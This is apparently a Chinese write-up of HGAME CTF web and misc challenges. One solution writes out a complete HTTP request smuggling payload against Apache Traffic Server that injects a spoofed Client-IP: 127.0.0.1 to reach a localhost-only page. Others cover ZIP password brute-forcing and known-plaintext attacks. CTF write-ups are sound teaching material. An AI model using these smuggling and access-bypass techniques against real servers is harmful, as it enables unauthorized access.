抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

Web

Hitchhiking_in_the_Galaxy

index.php 内访问 HitchhikerGuide.php 可见 302 跳转,使用 BurpSuite GET 一次可以发现返回值是 405。于是尝试使用 POST 访问,得到了提示。

text
1
只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~

根据提示设置不同请求头最终可得到 flag。

1
hgame{[email protected][email protected]!}

watermelon

稍微修改一下 Math.random = function(){return 0.5;} 使得所有水果都是橙子,同时把屏幕调窄。玩到 2000 分之后再把返回值设定为 1.8 使水果变为半个西瓜从而快速填充屏幕输掉这局比赛。如此即可拿到 flag。

代码审计法

合成大西瓜是使用 cocos 引擎开发的游戏,那么其核心部分一定在 .../src/project.js。游戏在结束后会放出 flag,因此搜索出 gameover 的部分,可以发现如下逻辑。

1
2
3
4
5
6
gameOverShowText: function (e, t) {
if(e > 1999){
alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
}
// this.ajaxLoad("http://www.wesane.com/admin.php/Gamescore/saveGamescore", "gameScore=" + e + "&gameId=" + this.gameHttpId + "&gameType=" + t, this.scoreResult)
},
1
hgame{do_you_know_cocos_game?}

宝藏走私者

参考:https://paper.seebug.org/1048/

F12 看请求可以发现 Server: ATS/7.1.2,同时在 .../secret 页面有如下信息。

text
1
2
ONLY LOCALHOST(127.0.0.1) CAN ACCESS THE SECRET_DATA!
YOUR Client-IP(Client-IP NOT FOUND IN HEADERS!) IS NOT ALLOWED!

于是尝试构造请求走私,使得服务器接收到一个包含 Client-IP 的 GET 请求。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /secret HTTP/1.1
Host: thief.0727.site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length : 445

GET /secret HTTP/1.1
Host: thief.0727.site
Upgrade-Insecure-Requests: 1
Client-IP: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

关键在于计算好 Content-Length 的长度并在前后添加空格,使得 ATS 可以正常转发而后端服务器将其忽略后识别为两个请求。使用 BurpSuite 发送两次构造好的请求就可以得到 flag。

1
hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}

智商检测鸡

定积分计算,主要有三个路由,.../api/verify 负责检验答案,.../api/getQuestion 负责提供题目,.../api/api/getStatus 负责查询解出数。只需要写个脚本算出结果提交,最后再给出 session 的 cookie 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from sympy import *
import requests
import json
import re

session = requests.session()
url = "http://r4u.top:5000/"

for i in range(101):
try:
questionRaw = session.get(url + "api/getQuestion").content
print("[+] Parsing {}".format(questionRaw))
regex = r"([-+]{1})</mo><mn>(\d{1,9})</mn></mrow><mrow><mn>(\d{1,9})"
matches = re.findall(regex, questionRaw.decode("UTF-8"))
lowerLimit, upperLimit = (int(matches[0][0] + matches[0][1]), int(matches[0][2]))
print("[+] Matching {} from {} to {}".format(matches, lowerLimit, upperLimit))

regex = r"<mn>(\d{1,9})</mn><mi>x</mi><mo>([+-]{1})</mo><mn>(\d{1,9})"
matches = re.findall(regex, questionRaw.decode("UTF-8"))
arg1, operator, arg2 = matches[0]
print("[+] Calculate {} with {} {} {}".format(matches, arg1, operator, arg2))
x = symbols('x')
result = "%.2f" % (integrate(int(arg1) * x + int(arg2), (x, lowerLimit, upperLimit)))
print("[+] Calculated result is {}".format(result))

response = session.post(url + "api/verify", data=json.dumps({"answer": result}), headers={'Content-Type': 'application/json'})
print("[*] Verify status is {}".format(response.content))
if b"true" in response.content:
print("[+] Verify correct with {}".format(result))
print("[*] Raw data is {}".format(response.content))
response.close()
status = session.get(url + "api/getStatus").content
print("[*] Status is {}".format(status))
index = session.get(url).content
print("[*] Index is {}".format(index))
except:
pass
print("[+] Done All for you and cookie is {}".format(session.cookies))

最后看到输出结果之后,将新的 cookie 重新应用于页面,刷新后即可看到 flag。

text
1
[+] Done All for you and cookie is <RequestsCookieJar[<Cookie session=eyJzb2x2aW5nIjoxMDB9.YBZaeA.1FXCgOvOT6RDRijlX1RhlG6arlI for r4u.top/>]>

1
hgame{3very0ne_H4tes_Math}

走私者的愤怒

Content-Length 的计算方法:

1
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

Misc

Base全家福

base 编码套娃,通过 base64 --> base32 --> From Hex 解码即可以得出 flag。

不起眼压缩包的养成的方法

010 editor 打开图片发现文件尾部有压缩文件。

分离出来后压缩包的备注处有如下提示。

text
1
Password is picture ID (Up to 8 digits)

根据提示使用 ARCHPR 爆破得到压缩包密码为 70415155。

解压之后在 NO PASSWORD 文本文档中得到如下信息。

text
1
2
3
Sometimes we don't need to care about password.
Because it's too strong or null. XD
By the way, I only use storage.

查看两个压缩包中的 NO PASSWORD 的 CRC,发现是一样的。于是单独压缩一份 NO PASSWORD 然后对解压出来的 plain.zip 进行明文攻击,可以得出密码为 C8uvP$DP

解压 plain.zip 得到 flag.zip。使用 010 editor 打开文件可得如下内容。

text
1
&#x68;&#x67;&#x61;&#x6D;&#x65;&#x7B;&#x32;&#x49;&#x50;&#x5F;&#x69;&#x73;&#x5F;&#x55;&#x73;&#x65;&#x66;&#x75;&#x31;&#x5F;&#x61;&#x6E;&#x64;&#x5F;&#x4D;&#x65;&#x39;&#x75;&#x6D;&#x69;&#x5F;&#x69;&#x35;&#x5F;&#x57;&#x30;&#x72;&#x31;&#x64;&#x7D;

将其 HTML Entity 解码即可得到 flag。

text
1
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy

Wireshark 分析流量包,筛选 http 条目,跟踪 HTTP 流到 TCP 流 26 可见图片文件。

将图片提取出来使用 010 editor 打开,模板运行有 CRC Mismatch 报错,于是用脚本爆破得图片宽高 hex: 0x1440 0x1000。将图片宽高修正可得 flag。

1
hgame{Wh4t_A_W0nderfu1_Wa11paper}

Word RE:MASTER

解压得到两个 Word 文档,将 first.docx 解压,可以从 password.xml 中找到一段 BrainFuck 字符串。

text
1
+++++ +++[- >++++ ++++< ]>+++ +.<++ +[->+ ++<]> ++.<+ ++[-> +++<] >+.<+ ++[-> ---<] >-.++ ++++. <+++[ ->--- <]>-. +++.+ .++++ ++++. <+++[ ->--- <]>-- ----. +.--- --..+ .++++ +++++ .<+++ [->-- -<]>- ----- .<

可解得 maimai.docx 的密码 DOYOUKNOWHIDDEN?。打开 maimai.docx 后显示隐藏字符可得一串制表符和空格错落的内容。并且图片暗示,因此考虑 snow 隐写。

text
1
2
3
4
5
6
7
8
9
10
11
	 	  	       	  	     	     	   	   	  










将以上字符保存为 html 文件并上传到服务器中获取链接,利用在线加解密工具解密可以得到 flag。

1
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

评论